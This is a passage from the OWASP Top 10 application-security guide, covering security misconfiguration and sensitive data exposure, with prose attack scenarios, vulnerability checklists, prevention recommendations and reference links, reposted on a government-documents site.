Attacker discovers she can simply list directories to find any file. Attacker finds and downloads all your compiled Java classes, which she decompiles and reverse engineers to get all your custom code. She then finds a serious access control flaw in your application.
Scenario #3: App server configuration allows stack traces to be returned to users, potentially exposing underlying flaws.
Attackers love the extra information error messages provide.
Scenario #4: App server comes with sample applications that are not removed from your production server. Said sample applications have well known security flaws attackers can use to compromise your server.
Am I Vulnerable to Attack?
Is your application missing the proper security hardening across any part of the application stack? Including:
1. Is any of your software out of date? This includes the OS, Web/App Server, DBMS, applications, and all code libraries (see new A9).
2. Are any unnecessary features enabled or installed (e.g., ports, services, pages, accounts, privileges)?
3. Are default accounts and their passwords still enabled and unchanged?
4. Does your error handling reveal stack traces or other overly informative error messages to users?
5. Are the security settings in your development frameworks (e.g., Struts, Spring, ASP.NET) and libraries not set to secure values?
Without a concerted, repeatable application security configuration process, systems are at a higher risk.
• OWASP Development Guide: Chapter on Configuration
• OWASP Code Review Guide: Chapter on Error Handling
• OWASP Testing Guide: Configuration Management
• OWASP Testing Guide: Testing for Error Codes
• OWASP Top 10 2004 - Insecure Configuration Management
For additional requirements in this area, see the ASVS requirements area for Security Configuration (V12).
External
• PC Magazine Article on Web Server Hardening
• CWE Entry 2 on Environmental Security Flaws
• CIS Security Configuration Guides/Benchmarks
The primary recommendations are to establish all of the following:
1. A repeatable hardening process that makes it fast and easy to deploy another environment that is properly locked down. Development, QA, and production environments should all be configured identically (with different passwords used in each environment). This process should be automated to minimize the effort required to setup a new secure environment.
2. A process for keeping abreast of and deploying all new software updates and patches in a timely manner to each deployed environment. This needs to include all code libraries as well (see new A9).
3. A strong application architecture that provides effective, secure separation between components.
4. Consider running scans and doing audits periodically to help detect future misconfigurations or missing patches.
Security Misconfiguration A5 Security Weakness
Attack Vectors
Technical Impacts Threat
Agents
Business Impacts http://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference https://www.owasp.org/index.php/Configuration https://www.owasp.org/index.php/Error_Handling https://www.owasp.org/index.php/Testing_for_configuration_management https://www.owasp.org/index.php/Testing_for_Error_Code_(OWASP-IG-006) https://www.owasp.org/index.php/A10_2004_Insecure_Configuration_Management https://www.owasp.org/index.php/A10_2004_Insecure_Configuration_Management https://www.owasp.org/index.php/A10_2004_Insecure_Configuration_Management https://www.owasp.org/index.php/A10_2004_Insecure_Configuration_Management https://www.owasp.org/index.php/ASVS https://www.owasp.org/index.php/ASVS http://www.owasp.org/index.php/Command_Injection http://www.pcmag.com/article2/0,2817,11525,00.asp http://cwe.mitre.org/data/definitions/2.html http://benchmarks.cisecurity.org/downloads/benchmarks/
DIFFICULT
Prevalence
UNCOMMON
Detectability
AVERAGE
Impact
SEVERE
Application / Business Specific
Consider who can gain access to your sensitive data and any backups of that data. This includes the data at rest, in transit, and even in your customers’ browsers. Include both external and internal threats.
Attackers typically don’t break crypto directly. They break something else, such as steal keys, do man-in-the-middle attacks, or steal clear text data off the server, while in transit, or from the user’s browser.
The most common flaw is simply not encrypting sensitive data. When crypto is employed, weak key generation and management, and weak algorithm usage is common, particularly weak password hashing techniques. Browser weaknesses are very common and easy to detect, but hard to exploit on a large scale. External attackers have difficulty detecting server side flaws due to limited access and they are also usually hard to exploit.
Failure frequently compromises all data that should have been protected. Typically, this information includes sensitive data such as health records, credentials, personal data, credit cards, etc.
Consider the business value of the lost data and impact to your reputation. What is your legal liability if this data is exposed? Also consider the damage to your reputation.
Scenario #1: An application encrypts credit card numbers in a database using automatic database encryption. However, this means it also decrypts this data automatically when retrieved, allowing an SQL injection flaw to retrieve credit card numbers in clear text. The system should have encrypted the credit card numbers using a public key, and only allowed back-end applications to decrypt them with the private key.
Scenario #2: A site simply doesn’t use SSL for all authenticated pages. Attacker simply monitors network traffic (like an open wireless network), and steals the user’s session cookie. Attacker then replays this cookie and hijacks the user’s session, accessing the user’s private data.
Scenario #3: The password database uses unsalted hashes to store everyone’s passwords. A file upload flaw allows an attacker to retrieve the password file. All of the unsalted hashes can be exposed with a rainbow table of precalculated hashes.
Am I Vulnerable to Data Exposure?
The first thing you have to determine is which data is sensitive enough to require extra protection. For example, passwords, credit card numbers, health records, and personal information should be protected. For all such data:
1. Is any of this data stored in clear text long term, including backups of this data?
2. Is any of this data transmitted in clear text, internally or externally? Internet traffic is especially dangerous.
3. Are any old / weak cryptographic algorithms used?
4. Are weak crypto keys generated, or is proper key management or rotation missing?
5. Are any browser security directives or headers missing when sensitive data is provided by / sent to the browser?
And more … For a more complete set of problems to avoid, see ASVS areas Crypto (V7), Data Prot. (V9), and SSL (V10).
OWASP - For a more complete set of requirements, see ASVS req’ts on Cryptography (V7), Data Protection (V9) and Communications Security (V10)
• OWASP Cryptographic Storage Cheat Sheet
• OWASP Password Storage Cheat Sheet
• OWASP Transport Layer Protection Cheat Sheet
• OWASP Testing Guide: Chapter on SSL/TLS Testing
External
• CWE Entry 310 on Cryptographic Issues
• CWE Entry 312 on Cleartext Storage of Sensitive Information
• CWE Entry 319 on Cleartext Transmission of Sensitive Information
• CWE Entry 326 on Weak Encryption
The full perils of unsafe cryptography, SSL usage, and data protection are well beyond the scope of the Top 10. That said, for all sensitive data, do all of the following, at a minimum:
1. Considering the threats you plan to protect this data from (e.g., insider attack, external user), make sure you encrypt all sensitive data at rest and in transit in a manner that defends against these threats.
2. Don’t store sensitive data unnecessarily. Discard it as soon as possible. Data you don’t have can’t be stolen.
3. Ensure strong standard algorithms and strong keys are used, and proper key management is in place. Consider using FIPS 140 validated cryptographic modules.
4. Ensure passwords are stored with an algorithm specifically designed for password protection, such as bcrypt, PBKDF2, or scrypt.
5. Disable autocomplete on forms collecting sensitive data and disable caching for pages that contain sensitive data.
Sensitive Data Exposure A6 Security Weakness
Attack Vectors
Technical Impacts Threat
Agents
Business Impacts https://www.owasp.org/index.php/ASVS http://www.owasp.org/index.php/Top_10_2007-Insecure_Cryptographic_Storage https://www.owasp.org/index.php/ASVS https://www.owasp.org/index.php/ASVS https://www.owasp.org/index.php/ASVS https://www.owasp.org/index.php/ASVS http://www.owasp.org/index.php/Top_10_2007-Insecure_Cryptographic_Storage https://www.owasp.org/index.php/Cryptographic_Storage_Cheat_Sheet https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet…
This is the start of the file's text. The full file is on GovTribe.
File details come from the government source that posted it. Updated .